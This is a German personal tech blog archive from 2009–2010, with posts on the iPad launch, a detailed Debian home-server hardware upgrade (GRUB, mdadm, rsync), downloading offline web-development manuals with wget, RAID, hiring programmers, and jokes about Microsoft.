Freitag, Februar 12, 2010
Wie man mit PR-Fuzzis und Juristen umgeht
Anhand von Google:
Larry Page hat der 130-köpfigen PR-Abteilung seiner Firma im Jahr 2008 ganze acht Stunden zugestanden für Pressekonferenzen, Interviews und Reden.
[...] Die erste Rechtsanwältin, die von den Firmengründern widerwillig angestellt wurde, erhielt von Brin die Testaufgabe, für ihn einen Vertrag mit dem Teufel zum Verkauf seiner Seele aufzusetzen. Er wusste, dass sie so etwas noch nie gemacht hatte.
Quelle: Das Magazin » Larry und Sergey …
Mittwoch, Februar 03, 2010
Offline-Manuals für Web-Entwickler
Da ich morgen 10 Stunden in einer Boeing 767-300 eingepfercht sein werde, nehme ich mein MacBook (mit brandneuem Akku, da der alte die 300 Ladezyklen überschritten hat) mit an Bord und werde an Web-Projekten programmieren. Wie es aber so ist, hat man im Flugzeug immer noch keinen Internet-Zugang, weshalb es von sehr, sehr grossem Wert ist, wenn man sich die gängigsten Handbücher auf den lokalen Laptop lädt.
Nachfolgend die Links, die sich mit einem
wget -i <datei>
herunterladen kann:
# 2010-02-03 # by Mario Aeby # Apache 2.2 http://mirror.switch.ch/mirror/apache/dist/httpd/docs/httpd-docs-2.2.14.en.zip http://mirror.switch.ch/mirror/apache/dist/httpd/docs/httpd-docs-2.2.14.en.pdf # MySQL 5.0 http://downloads.mysql.com/docs/refman-5.0-en.html-chapter.zip http://downloads.mysql.com/docs/refman-5.0-en.a4.pdf # PHP http://ch.php.net/get/php_manual_en.tar.gz/from/this/mirror # jQuery 1.4 http://download881.mediafire.com/gidquw4y1u1g/mgmrt0ehzyz/jquery-1.4.chm.7z # SelfHTML 8.1.2 http://ftp.uni-ulm.de/mirrors/selfhtml/selfhtml812.zip
Labels: IT, Programmierung, Web-Entwicklung
Mittwoch, Januar 27, 2010
Apples iPad
Ich und Kollege Torquenstein waren uns heute um 19:35 Uhr einig: Das iPad ist nicht ein Gadget, das wir uns unbedingt und sofort kaufen müssen.
Doch nachdem ich mittlerweile nach Hause gekommen bin und mir das Promo-Video angeschaut habe — Jonathan Ive: Frisst er angesichts dieser Oberarme eigentlich Anabolika? Hat er neben der Arbeit bei Apple Zeit, ins Fitness-Studio zu gehen? Phil Schiller: Diese Warzen im Gesicht sind hässlich! — muss ich meine Meinung doch etwas revidieren.
Während der erste Mac und das erste iPhone tatsächlich auf den ersten Blick bahnbrechend waren, ist es das iPad erst beim zweiten oder dritten Hinsehen.
Werden wir in 5 Jahren auf den heutigen Tag zurückblicken, werden wir ihn als Wendepunkt in der Geschichte der Consumer-Computer begreifen. Heute ist der Tag, an welchem der erste brauchbare Heimcomputer vorgestellt wurde, der vollständig auf ein Hardware-Keyboard verzichtete. Apple führt in diesen Tagen ein grosse Experiment mit uns erfahrenen Computer-Anwendern durch: Man will uns die Hardware-Tastatur abgewöhnen und auf Handgesten trimmen. Multi-Touch gehört in vielen Bereichen die Zukunft. Die Herkules-Aufgabe richtet sich aber nicht nur an die Endanwender, sondern auch an die Software-Entwickler, die nun gefordert sind, anständige Desktop-Applikationen zu entwickeln, die vorzüglicherweise mit Fingereingaben zu bedienen sind.
Wo werden wir das iPad, seine Nachfolger und Nachbauten von Dell & Co. in 5 Jahren einsetzen?
- Ich werde Gästen die Photos meiner Ferienreise (aktuell sind die Fotos von Westafrika 2010) am Stubentisch auf einem solchen Gerät präsentieren. Wenn es gerade nicht gebraucht wird, steht es wie früher ein Bilderrahmen in der Stube und zeigt nach Zufallsmuster Fotos aus meiner über Jahren angehäufter Schnappschuss-Sammlung.
- Ich werde beim Morgentisch ein iPad neben mir liegen haben, das die neueste Ausgabe der Tageszeitung anzeigen wird. Mit dem iPhone habe ich mich bereits daran gewöhnt, Zeitungen auf diese Weise zu lesen (z.B. mit der Tagi-Applikation). Dank dem iPad hat man endlich die Möglichkeit, dies auf einem Bildschirm mit ansprechender Grösse zu tun.
- Das iPad ist auch ein überdimensionales VoIP-Telefon — und zwar eines, welches intuitiv zu bedienen ist und endlich ein anständiges Adressbuch mit sich bringt.
- Gehe ich auf Reisen, wird künftig kein 2 Kilogramm schweres MacBook in meinem Handgepäck mitreisen, sondern ein iPad (vorausgesetzt, es wird am Zielort nicht erwartet, dass ich 1000 Zeilen Code programmiere). Im Flugzeug werde ich darauf einen Film in bester HD-Qualität schauen und den im Vordersitz eingebauten mickrigen und schlecht auflösenden LCD-Screen nicht mehr beachten.
- An der Universität werden Dozenten die Unterrichtsmaterialien (bspw. einen Fachartikel) in einem Format abliefern (PDF mit OCR?), mit welchem man es auf dem iPad in der iBooks-Applikation anschauen kann. Dank Gesten wird man wichtige Passagen hervorheben und mit Notizen versehen können.
- Wenn ich im Badezimmer zur täglichen Dusche verschwinde, lässt das iPad Radiosender oder meine MP3-Sammlung ertönen.
- Nachtrag: Gemäss fscklog wird man das iPad auch an einen Beamer anschliessen können. Freuen wir uns also darauf, dass wir künftig zu Präsentationen kein 2 Kilogramm schweres Notebook mehr mitschleppen müssen. Das iPad tuts auch ...
- Man stelle sich einen kalten Januar-Abend vor. Die ganze Familie ist um den Stubentisch versammelt und spielt ein Brettspiel. Dafür hat die Tochter nicht etwa eine grosse Kartonschachtel aus dem Spielschrank geholt, sondern einfach das iPad auf den Tisch gelegt und das Brettspiel der Wahl als Applikation gekauft, heruntergeladen und gestartet (via Excitement about iPad: A Large Screen Multi-Touch Platform).
- Wenn das iPad in Revision 2 oder 3 eine Webcam erhält, steht dem Durchbruch der Videotelefonie nichts mehr im Wege. Das iPad wäre endlich ein mächtiges Telefon, dass sogar meine Oma problemlos bedienen könnte. Ich muss in diesem Zusammenhang nämlich zugeben, dass ich das Telefon auf der Arbeit immer noch nicht begreife — zu viele kryptische Knöpfe, ein zu kleines Display, keine anständige Menuführung.
Doch wahrscheinlich werden es die Software-Entwickler sein, die dem Gerät noch völlig neue Anwendungszwecken, ungeahnte Fähigkeiten beibringen werden ...
Grösster Nachteil: Es handelt sich um ein komplett geschlossenes System. Ohne Apples Kopfnicken wird keine Applikation darauf laufen können.
Freitag, Dezember 25, 2009
Besser als die Weihnachtsgeschichte: Duke Nukem Forever
His name is George Broussard, co-owner of 3D Realms and the man who headed the Duke Nukem Forever project for its entire 12-year run. Now 46 years old, he’d spent much of his adult life trying to make a single game, and failed over and over again.
Quelle: Learn to Let Go: How Success Killed Duke Nukem | Magazine
Labels: Computer, Funny, Games, IT, Produktivität, Programmierung, USA
Samstag, Dezember 19, 2009
Brauchen Softwareentwickler wirklich Höllenmaschinen?
I have endless battles with overzealous developers who swear up and down that they use their desktops like servers. Sure you do! And you're building the space shuttle with it, right? Of course you are. Yeah.
Quelle: Building a PC, Part VI: Rebuilding
Labels: IT, Programmierung, Web-Entwicklung
Sonntag, Dezember 13, 2009
Erfahrungen bei einem Server-Upgrade
Gestern um 20:00 begann ich damit, meinen Heimserver dem grössten Upgrade in seiner Geschichte zu unterziehen. Zwei Gründe bewegten mich zu diesem Entscheid: Einerseits war das Gerät längst betagt und mittlerweile äusserst schwach auf der Brust. Andererseits kämpfe ich seit dem Sommer 2009 sporadisch mit "Black Screens Of Death", welche nur mit einem Reset zu beheben waren. Natürlich machen solche Ausfälle bei einem eigentlich 24/7 verfügbaren Server keinen Sinn. Leider brachte die Fehlersuche über Monate hinweg keine Ursache zu Tage. Vermutlich lag es an der Altersschwäche eines Bauteils.
Was hat sich in der Hardware geändert?
Server alt
- Yeong Yang YY-B0221 (spezielles Server-Gehäuse mit zwei Abteilen für Motherboard und Laufwerke)
- Intel Pentium III, 600 MHz
- Asus P3B-F
- 4x Kingston 256 MB, SDRAM, PC100 — KVR133X64C3/256
- Matrox Millennium G200, AGP
- Intel PWLA8391GT, PCI, Gigabit-Ethernet
- Adaptec AHA-2940U2W, SCSI-Controller
- 1x Fujitsu MAJ3182MP, 18.2 GB, U2W-SCSI — System
- FirmTek SeriTek/1S2, SiL 3112, SATA-Controller
- 1x Maxtor , 160 GB, SATA — /var
- 2x Promise Ultra 133 TX2
- 4x Samsung SP2514N, 250 GB, ATA-7 (RAID1+0) — Storage
Server neu
- Yeong Yang YY-B0221 (spezielles Server-Gehäuse mit zwei Abteilen für Motherboard und Laufwerke)
- Intel Core 2 Duo E5400, Dual Core 2.7 GHz, 800 MHz
- Asus P5QPL-VM-EPU, Mini-ATX
- 1x Apacer 1 GB, DDR2, 800 MHz
- Intel PWLA8391GT, PCI, Gigabit-Ethernet
- 1x Samsung HD161GJ, 160 GB, SATA-3 — System
- 2x Samsung HD154UI, 1.5 TB, SATA-3 (RAID1) — Storage
Erfahrungshäppchen
- Grundsätzlich sei wieder einmal zu erwähnen, dass man ein solch tiefgreifendes Hardware-Update unter Windows schlichtwegs hätte vergessen können; um eine Neuinstallation wäre man auf Grund der komplett anderen Hardware nicht herumgekommen. Ich lobe mir deshalb Debian GNU/Linux, welches — zwar auch mit einiger (selbstverursachter) Müh und Not — nach einigen Anpassungen anstandslos unter der neuen Hardware bootete.
- Durch die Vereinfachung der Storage-Infrastruktur (Wegfall von 3 Platten und 4 Controllern) sank die Stromaufnahme um 5 %, obwohl anzunehmen ist, dass CPU und Motherboard mehr Energie benötigen als die Komponenten des alten Servers.
- Dass im Server-Gehäuse nun nur noch 3 statt 6 Festplatten hängen, erlaubt mir, diese deutlich effizienter zu kühlen. Auch das Betriebsgeräusch des Servers ist aus meiner Empfindung etwas leiser geworden.
- Das Motherboard weist einen sog. EATXPWR-Connector auf. Auf den ersten Blick befürchtete ich, am Sonntag noch ein neues Netzteil kaufen zu können. Steckt man den Stromstecker eines normalen ATX-Netzteils ein, sind vier Pins des neuen Steckers nicht belegt. Das Board startet trotzdem — wenn man den zusätzlichen 4-pin 12V-Anschluss in der Nähe des Prozessors mit dem entsprechenden Kabel des Netzteils bestückt. Der Betrieb ist also durchaus möglich — entweder mit 20-pin ATX + 4-pin ATX 12V oder 24-pin EATXPWR.
- Aus ISO-Images von Ubuntu einen bootbaren USB-Stick zu bauen, ist unter Mac OS X nicht möglich. Es wird vielerorts empfohlen, stattdessen die IMG-Datei des Ubuntu Netbook Remix herunterzuladen, ohne aber auf eine solche Datei zu verlinken. Diese gibt es nämlich nur für das ältere Ubuntu 9.04 (aktuell: 9.10); bspw. auf dem SWITCH-Mirror: ubuntu-9.04-netbook-remix-i386.img. Mit diesem Image soll es anschliessend gemäss Anleitungen im Netz möglich sein, unter Mac OS X mit dem Terminal den Stick mit Ubuntu bootbar zu machen.
- Da der Download dieser Datei ein gute Stunde dauerte, habe ich schlussendlich einen alten DVD-Brenner im Server verbaut und den Server von CD gebootet.
- Bei der Partitionierung der neuen 160 GB-Systemplatte mit fdisk unter Ubuntu Live-CD habe ich bei der Grössenangabe für die einzelnen Partitionen vergessen, ein + voranzustellen (Bspw. +512M für eine Partition mit 512 MB Platz). Deshalb ist meine /boot-Partition nun nicht 512 MB gross, sondern 3.1 GB *autsch*
- Um den Swap-Space zu initialisieren, benutzte ich mkswap, was beim ersten Anlauf aber enorm viel CPU-Resourcen benötigte und nicht vor dem Ende meiner Geduld abgeschlossen werden konnte. Indem ich dieses Executable ohne den Paramenter -c (für "check") aufrief, rauschte die SWAP-Formatierung wie im Schnellzugstempo durch.
- Nachdem ich die Daten von der alten SCSI-Systemplatte auf die SATA-Systemplatte kopiert hatte (der Adaptec AHA-2940U2W SCSI-Controller und die daran hängende Platte wurde vom Board und Ubuntu problemlos erkannt), startete der Rechner nicht, weil GRUB einen "Error 2" meldete. Ich war mir ganz sicher, dass ich den Bootsektor in die richtige Platte geschrieben und mit hd(0,0) auch garantiert die richtige Platte konfiguriert hatte. Wo also lag das Problem? Dank eines Blog-Artikels GRUB "Error 2" May Mean Incompatible stage1.5, stage2, and ext2 kam ich darauf, dass ich die Platte mit einem brandneuen mkfs.ext3 formatiert, dann aber die GRUB-Stages 1.5 und 2 datierend aus dem 2007 von der alten Platte in den Bootsektor geschrieben hatte. Glücklicherweise fanden sich unter /usr/lib/grub/i386-pc/ neuere Dateien im leicht grösseren Umfang und aus dem Jahr 2009. Nachdem ich diese Dateien über /boot/grub kopiert und den MBR neu geschrieben hatte, funktionierte der Bootvorgang dann endlich wie geschmiert.
- Nachdem das System zum ersten Mal in der neuen Konfiguration ohne fremde Hilfe hochgekommen war (nicht vergessen: /etc/fstab und /boot/grub/menu.list müssen zwingend angepasst werden!), ging es nun darum, /var von der alten SATA-Platte rüberzukopieren. Wie bei allen Kopieraktionen verwende ich dazu # rsync -av . /mnt/sda1 oder dergleichen. Bricht der Kopiervorgang aus unerfindlichen Gründen ab, stellt man mit rsync sicher, dass nur diejenigen Dateien kopiert werden, die auf dem Zielsystem noch nicht identisch vorhanden sind. Auch werden die Benutzer und Rechte auf jeden Fall mitkopiert.
- Die Daten vom RAID1+0 kopierte ich heute Sonntag-Nachmittag auf das neu erstellte RAID1. Damit ich die Daten nicht über das langsame Ethernet-Netzwerk kopieren musste, suchte ich mir zwei exteren USB-Festplattengehäuse und wählte dann zwei Festplatten des RAID-Verbundes aus. Wichtig ist bei RAID1+0 natürlich, dass man die zwei komplementären Platten nimmt, die im Degraded-Modus das ganze Volume herstellen. Damit mdadm die Platten erkannte, musste ich in /etc/mdadm/mdadm.conf einige Ergänzungen vornehmen, weil der verschachtelte RAID-Verbund nicht automatisch erkannt wurde. Kernstück waren dabei folgende Zeilen:
... DEVICE partitions ... ARRAY /dev/md10 metadata=0.90 UUID=8b74168f:921d62ec:197e72a9:dcc396dd ARRAY /dev/md11 metadata=0.90 UUID=c7acb783:7d200806:ba3b0bb9:fba14ed1 ARRAY /dev/md1 metadata=0.90 UUID=0b0b49d4:63eada39:e2d889b1:01493278
Die UUIDs waren glücklicherweise in der alten mdadm.conf hinterlegt. Sie sind unbedingt zu notieren und an einem sicheren Ort aufzubewahren. Anschliessend klappte es problemlos, die RAID-Arrays mittels # mdadm --assemble /dev/md0 etc. zu starten (natürlich in der richtigen Reihenfolge, d.h. /dev/md1 am Schluss, wenn die RAIDs der beiden USB-Platten gestartet wurden. Ob metadata=0.90 wirklich nötig ist, weiss ich nicht. Als ein Array nur im auto-read-only-Modus gestartet wurde, führte ich folgenden Befehl aus, um auch Schreibvorgänge zu ermöglichen (im Grund ja unnötig, da wir nur Daten ab der Platte kopieren wollen):# mdadm --readwrite /dev/md10
- Der anschliessende Kopiervorgang war einerseits ein Burn-In-Test für die verschiedenen Bussysteme des neuen Servers (USB, SATA), andererseits zeigte er die Performance der neuen Hardware:
sent 460359385722 bytes received 762070 bytes 38412962.39 bytes/sec total size is 460300401834 speedup is 1.00
— 38 MB/Sekunde sind kein schlechter Wert für ATA-7 über USB auf SATA. - Da das neue Board nur noch die Pins für einen LPT-Anschluss mitbringt, musste ich meinen HP Laserjet 1300 neu über USB an den Server anschliessen. Leider wurde dabei aber /dev/usb/lp0 nicht automatisch erstellt. Nach einem # apt-get dist-upgrade erschien dieses Device plötzlich in der Dateiliste. Nur noch /etc/printcap anpassen (statt /dev/lp0 ist es neu /dev/usb/lp0 — fertig!). Auf jeden Fall lud der Kernel alle benötigten Module (usblp, usbcore und uhci_hcd). Dass der Drucker auch wirklich da ist, erkennt man mit dem Befehl:
# lsusb ... Bus 002 Device 002: ID 03f0:1017 Hewlett-Packard LaserJet 1300 ...
Dieser Befehl findet sich im Paket usbutils - Bei Aufräumarbeiten in meinem IT-Ersatzteillager fand ich zufälligerweise ein Slotblech, welches zwei serielle Ports (COM1 & COM2) bereitstellte. Da das neue Board Pins für eine COM-Schnittstelle mitbringt, konnte ich so die ältere USV (APC 1400VA) wieder am Server anschliessen.
Sonntag, November 29, 2009
Wie man den richtigen Programmierer findet
There are three questions you have when you’re hiring a programmer (or anyone, for that matter): Are they smart? Can they get stuff done? Can you work with them?
Quelle: How I Hire Programmers (Aaron Swartz's Raw Thought)
Diesen Seitenhieb auf Googles Anstellungspraktiken mag ich:
(If you ask people at parties to name their greatest strengths and weaknesses or to estimate the number of piano tuners in Chicago, you’ve got bigger problems.)
Wobei man behaupten könnte, dass Google vielleicht nicht immer daran interessiert ist, Dinge möglichst rasch und effizient zu realisieren — und deshalb so doofe Fragen stellt.
Labels: Anstellung, Arbeitsleben, Bewerbung, IT, Programmierung
Dienstag, November 17, 2009
Google Droid und der vorgezogene 1. April?
And things have turned surreal. Dan Morrill, from Google's Android team, has confirmed that there's a date-related bug in the Droid's camera software that leads to it having cycles of good and bad focus that depend on the date. Our own testing confirmed this, as backdating to the 11th of November returned those red bars of of failure. Apparently, the cycles last 24.5 days, meaning that you'll have good focus all the way to December 11, when the real fix is expected to drop. So breathe easy, Gotham, there are no phantom updates, just an oddly date-sentient camera.
Quelle: Motorola Droid camera autofocus fixed in secrecy? (Update: it's a date-related self-correction)
WTF
Labels: Funny, Google, IT, Mobilfunk, Mobiltelefone, Programmierung
Freitag, November 06, 2009
IT-Departemente des 21. Jahrhunderts
I was frustrated that we continually kept creating new documentation within the department, and that our servers were always filled lots of outdated and bloated Microsoft Office documents.
Quelle: Implementing an internal wiki – Dan Collins on the Powerhouse’s rollout of Confluence
IT-Departemente, die auch heute, 2009, noch eine solche dateibasierte Dokumentation in proprietären Dateiformaten pflegen, müssen schlichtwegs die schlimmsten IT-Arbeitsplätze dieser Welt sein. Keine 1'000 Pferde würden mich dazu bewegen, zu einer solchen Bude arbeiten zu gehen.
Besitzt ein IT-Departement ein anständiges Wiki, welches von seinen Mitarbeitern gehegt und gepflegt wird, ist das nicht zuletzt auch ein Ausdruck einer fortschrittlichen, offenen und ergebnisorientierten Firmekultur.
Nachtrag
Im selben Artikel kommt auch eines der von mir am heissesten geliebten CMS unter die Räder:
However, I found that Drupal required a large investment in time to understand how all the various components and plugins fitted together. Whilst Drupal is a very flexible tool and there was never just one particular way to achieve what you were after – which has its benefits -but also posed a number of difficulties.
Mittwoch, Oktober 28, 2009
Wenn Apple einen Beamer entwickeln würde
Gestern durfte ich wieder einmal zum treffendsten Zeitpunkt meine Kenntnisse als PC-Supporter ausspielen, als nämlich ein Laptop nach dem Aufstarten zwar kurz ein Bildsignal an den Beamer übermittelte, nach etwa 30 Sekunden aber das Signal verloren ging.
Wie sich herausstellen sollte, übernahm zu diesem Zeitpunkt der Nvidia Grafiktreiber die Kontrolle über das Display, wobei der Treiber leider auf "einfachen Monitorbetrieb" eingestellt war. Wieso der Treiber auch gleich die Fn+F3-Tastenkombination deaktivierte, um auf Beamerbetrieb umzuschalten, blieb mir schleierhaft.
Diese glimpflich abgelaufene "Panne" nutze ich nun dazu, meine seit Jahren gereifte Vorstellungen eines tubelisicheren "Beamers" darzulegen. Dessen Eigenschaften sind folgende:
- Video-Eingänge Das Gerät weist genau einen Eingang für Video-Signale auf - und zwar VGA. Ich frage mich heute noch, welcher Beamer jemals ein Kabel an Cinch-, DVI- und Weiss-nicht-was-für-komische-Eingänge es noch gibt gesehen hat. Als Hilfe für die unbedarften Endanwender könnte man sich überlegen, Beamerseitig einen speziellen VGA-Anschluss einzubauen, damit das Kabel nur auf einen bestimmten Weg angesteckt werden kann.
- Downscaling Egal, welche Auflösung das Computer-Signal aufweist — das Gerät skaliert dieses automatisch auf die Standard-Auflösung herunter. Eventuell begleitet mit einem Warnhinweis, die Auflösung auf dem Computer herunterzuschraben.
- Autosensing Die Elektronik des Beamers merkt, a) an welchen Anschlüssen ein Kabel hängt und b) auf welchem Kabel auch wirklich ein Signal übermittelt wird.
- Knöpfe Es gibt zwei Knöpfe: "An/Aus" sowie "Schwarz"
- Eingebaute Hilfe Läuft trotz diesen Vereinfachungen etwas schief, bietet der Beamer automatisch eine intelligente Hilfe-Funktion an.
Labels: Apple, Geräte, IT, PC-Support
Dienstag, Oktober 13, 2009
Microsoft, Sidekick, Danger — Disaster
"By the time Danger engineering became available to work on Pink a year later, innumerable bad decisions had already been made by clueless idiots. [...] "no one really grasps how dysfunctional Microsoft has become. Yes Microsoft did spend half a billion dollars for, as near as anyone can tell, absolutely nothing."
However, while Microsoft has plenty of examples of poor management, it also has no shortage of qualified engineers and information technology professionals, none of whom would plausibly begin upgrade work on a production data center without an exit strategy and backups in place.
Quelle: AppleInsider | Microsoft's Sidekick/Pink problems blamed on dogfooding and sabotage
Microsoft, wie es kräucht und fläucht ...
Sonntag, Oktober 11, 2009
Ist MySQL ein RDBMS?
Die Antwort eines Vollprofis - sowohl auf dem Gebiet von Datenbanken als auch der englischen Sprache:
My sql is a DBMS(database management system) that is basically in the tabular form .for example: MS excess, we use tables. but RDBMS is in non tabular form ...the general example is google i.e when we search something in google the data is displayed in non tabular form ...so my sql is a DBMs consist of creating tables for making a database
Quelle: WikiAnswers - Is MySQL DBMS or RDBMS
Microsoft Excess? Das würde ich einfach schon nur kaufen, um es in mein Software-Regal zu stellen.
Freitag, Oktober 02, 2009
Dvorak - Unübertroffener Müll seit 1984
The Macintosh uses an experimental pointing device called a “mouse.” There is no evidence that people want to use these things. I don’t want one of these new fangled devices.
Quelle: A design and usability blog: Signal vs. Noise (by 37signals)
Labels: IT, Journalismus, Medien
Mittwoch, September 30, 2009
Lufthansa Systems setzt auf das zuverlässige™ superstabile™ Microsoft® Windows™
Computerprobleme haben an diesem Morgen bei der Fluggesellschaft Lufthansa dazu geführt, dass Passagiere zeitweise kein Gepäck aufgeben und nicht einchecken konnten. Auslöser des Problems ist nach Angaben eines Lufthansa-Sprechers ein Update des zentralen Check-in-Systems in Kelsterbach bei Frankfurt am Main. Nach dem Update seien die Server nicht wie gewünscht hochgefahren.
Quelle: heise online - 30.09.09 - Computerprobleme legen Check-in-System der Lufthansa lahm
Tönt verdammt nach Microsoft Windows, nicht wahr? Eine Google-Suche gibt einem vollkommen recht. Ich glaube es wird mal Zeit für ein anständiges UNIX.
Nachtrag
An der diesjährigen OpenExpo in Winterthur sprach auch Olaf Laber von Ingres und wies darauf hin, dass die Lufthansa die quelloffene Datenbank Ingres für geschäftskritische Anwendungen einsetze (Case Study).
Wer hat nun versagt - OSS oder Microsoft Windows? Man weiss es leider nicht ...
Dank: Matthias
Mittwoch, September 30, 2009
Aus dem Entwicklerleben gegriffen
3. About a week of development time is lost whenever someone from marketing makes a fuss about adding "a trivial feature that'll only take 1 hour" so he can close a sale
4. Most clients will not provide the most important requirement until a project is two-thirds developed. They will not even realize it was a requirement until they begin to see proofs
Quelle: N Examples of Why Time Estimates are Always Wrong (Software Engineering Tips)
Labels: IT, Programmierung, Web-Entwicklung
Mittwoch, September 23, 2009
Bye bye, Creator Type!
Today, the app used to create a file is not necessarily the one that most users want to open it with; the Creator Code system didn't offer any simple way for users to modify the creator after the fact, either individually, collectively for a selection of files, or across all files of a given file type. The complexity of what users expect to do (and what kinds of data they are working with) in 2009 is vastly different than it was back in the early 80s when Apple conceptualized the rather simple Type and Creator Codes.
Quelle: AppleInsider | Inside Snow Leopard's UTI: Apple fixes the Creator Code
Dieser Creator Code (God?) gehört zu den schlimmsten Sünden des alten Apple.
Aktuelles Beispiel unter Mac OS 10.4.11: Ich öffne eine mit einem Farblaserkopiererscanner gescannte PDF-Datei mit Adobe Acrobat, um OCR darüberlaufen zu lassen. Als dies erledigt ist, speichere ich die Datei ab. Ab sofort öffnet ein Doppelklick das PDF nun im Acrobat, obwohl ich zum Betrachten von PDF-Dateien auf Preview.app schwöre.
Donnerstag, September 17, 2009
Die Mär vom Nutzen der Boni
Geniales Video - selbst wer diese 20 Minuten nicht hat, sollte die Präsentation von Dan Pink trotzdem schauen. Ultrakurzzusammenfassung:
- Das Gerücht, dass Menschen in Wissensgesellschaften produktiver sind, wenn sie für ausserordentliche Arbeiten finanziell belohnt werden, ist falsch. Die Wissenschaft kann seit 40 Jahren nicht nachweisen, dass Boni und dergleichen zu besseren Leistungen führen. Wieso die Superhirnis in der UBS ihrem Ospel 18 Millionen Boni gezahlt haben, wird - neben dem mittlerweile offensichtlich gewordenen Missmanagement - hier noch doppelt fragwürdiger.
- Das wichtigste Gut für Wissensarbeiter ist Autonomie. Keine Sitzungen, keine engen Zeitpläne - dafür das Selbstbestimmungsrecht, wo, wann und wie man etwas tun will. Nur, indem man Arbeiter von äusseren Zwängen befreit, kann sich deren Hirn entfalten (kommen wir hier schon ins Anarchistische hinein?!)
- Aus meiner Sicht spricht dieses Video auch sehr stark für die Einführung eines Grundeinkommens. Gerade ein solches Grundeinkommen würde diese offensichtlich so nutzbringende Autonomie innerhalb der ganzen Gesellschaft etablieren lassen. Die grösste Gefahr wäre das Müssiggängertum - doch als Optimist, wie ich in solchen Dingen bin, sähe ich eine kreative Explosion.
Und ja, natürlich kenne ich Atlassian - wusste aber nichts von deren Fedex Day mit dem Motto "You have to deliver in one day!"
Labels: Arbeitsleben, Banken, Boni, Finanzen, Gesellschaft, IT, Soziologie, UBS, Wissenschaft
Mittwoch, September 02, 2009
Evernote fragwürdig
Phil Libin, the chief executive of Evernote, says they are generating about $79,000/month in revenue. Then the article goes on to say “By January 2011, Mr. Libin projects, the company will break even.” $79,000/month and they won’t break even until January 2011. So every day they’re losing money until 2011.
Quelle: The bar for success in our industry is too low - (37signals)
Dieser Web-Site alle meine persönlichen (und privaten!) Dokumente anzuvertrauen, obwohl deren Betreiber damit täglich Verluste schreibt? Für mich ist das ein grosses Warnsignal, es nicht zu tun und weiterhin die heimische Festplatte zu befüllen. Schliesslich kostet ein Gigabyte nicht mehr dermassen viel.
Labels: BWL, Hype, IT, Web, Wirtschaft
Dienstag, September 01, 2009
Wofür sind all die Tasten gut?
Then computers got faster, somebody wrote programs like "more" and "less" and the /p switch on DOS, and the Scroll Lock key was no longer needed. But you'll have an easier time replacing Supreme Court seats than you will convincing keyboard manufacturers to drop keys that have lost their purpose.
Quelle: WOMAN FIRED FOR USING ALL CAPS IN E-MAIL : technology
Mittwoch, August 26, 2009
Nostalgischer Kopierschutz von LucasArts-Adventures
In the late 80’s and early 90’s several games shipped with a special code wheel that was necessary for being able to play the game, often related to in-game mechanics.
Quelle: Wacky copy protection methods from the good old days | Royal Pingdom
Der Royal Pingdom-Artikel weckt alte Erinnerungen in mir. Glücklicherweise gab es schon in den frühen 1990er in vielen Unternehmen Kopierer, mit welchen sich die "Code Wheels" kopieren liessen.
Das deutlich grössere Problem war da schon, die 9 MB grosse Datei von Indiana Jones 4 irgendwie auf eine 1.44 MB fassende Floppy-Disk zu bringen. Da wir unwissenden anno dazumal noch nie etwas von ZIP (oder der von unserem tschechischen Klassenkollegen nähergebrachten Komprimierapplikation ARJ) gehört haten, mussten die Originaldisketten her.
Labels: Blogosphäre, Games, Geschichte, IT
Sonntag, August 23, 2009
XML sucks!
Then reality struck. The pipeline was slow: Oracle loaded XML at a crawl. And it was a memory hog, since XSLT required putting full document trees in RAM.
Quelle: How XML Threatens Big Data : Dataspora Blog
Selbstverständlich bin ich voreingenommen und lese vorzugsweise Artikel, die Kritik an XML (und XSLT) üben. Aber ein Körnchen Wahrheit wird sicherlich darin sein ...
Aus diesem Grund lasse ich auch heute (2009) noch die Finger von dieser Technologie.
Labels: HTML, IT, Programmierung, Web-Entwicklung, XML
Sonntag, August 23, 2009
Mythos Inbox Zero
Das theoretische Grundgerüst zu Inbox Zero ist mir längst bekannt, doch mit Blick auf den aktuellen Stand meiner INBOX - 321 messages - hapert die praktische Umsetzung noch ein bisschen. Doch welch erlösendes Gefühl, als ich heute zufälligerweise folgenden Blog-Artikel gelesen habe:
Inbox Zero is a myth. And soon it will be a book about a myth. Really, it’s a term that geeks use so we can convince ourselves that we’re winning the battle against communication overload. We’re not winning. We’re just selectively forgetting certain emails, half-responding to others, and if worse comes to worse, switching communication platforms. That’s not winning, that’s running.
Quelle: ParisLemon » On Inbox Zero
Nun, obwohl ich Inbox Zero noch nie ausprobiert habe schlage ich mich aus reiner Erfahrung sofort auf Sieglers Seite. Klingt irgendwie einleuchtend.
Labels: E-Mail, IT, Produktivität
Sonntag, August 16, 2009
UNIX-Porn
unzip, strip, touch, finger, grep, mount, fsck, more, yes, fsck, fsck, fsck, umount, sleep
Donnerstag, Juli 30, 2009
Ordnung auf dem PC, Unordung im realen Leben?
How many of you keep your file system more organized than your house / apartment?
Quelle: How many of you keep your file system more organized than your house / apartment? : reddit.com
*schüchtern-die-hand-hochstreck*
Mittwoch, Juli 29, 2009
Das Problem an RAID
Assume 3TB drives are coming, then 4TB ones, and we're looking at 12 hours and 16 hours respectively for a rebuild of a full failed disk. Every added terabyte adds four hours to the rebuild time, half a day. That's increasing the chances a third drive will fail in the rebuild period for second and first failed drive rebuilds.
Quelle: Sun tripling RAID protection [printer-friendly] • The Register
Wer schon mal ein RAID-System administriert hat, weiss, wie unglaublich lange ein solcher Rebuild dauern kann ... Noch schlimmer ist meine gegen Hardware-RAID-Controller - wenn es schon RAID sein muss, dann bitte mit Linux als sog. SoftRAID. Denn wer schon einmal zwei Wochen mit einem teilweise defekten RAID-Controller gekämpft und anschliessend auf die Lieferung von Ersatz gewartet hat, will nichts mehr damit zu tun haben. (Ja, ich weiss ... man bezahle dem Hersteller ein hohes Surplus, und kriegt den Controller am nächsten Tag).
Ich frage mich deshalb seit längerem, ob RAIDs wirklich noch State of the Art sind. Googles Sysadmins sind der RAID-Komplexität auf jeden Fall auch abgeneigt.
Freitag, Juli 24, 2009
Access- und Excel-basiertes CRM
unsere Außendienstler greifen über IE auf unser Access- und Excel-basiertes CRM zu
Dem sagt man garantiert nicht CRM, sondern Gefrickel höchster Ordnung ... Motto: Gebt Leuten Excel und Access, und sie bauen dir in wenigen Tagen eine Weltuntergangsmaschine.
Labels: IT, Microsoft, Software, Unternehmen
Samstag, Juli 04, 2009
Limewire Megafail
Eine Mitarbeiterin von Limewire (dem Hersteller eines gleichnamigen, schrottigen P2P Filesharing-Programm, das hierzulande noch von mindestens einer blonden Master of Law-Absolventin benutzt wird) hält eine Standpauke über Eigentumsrechte:
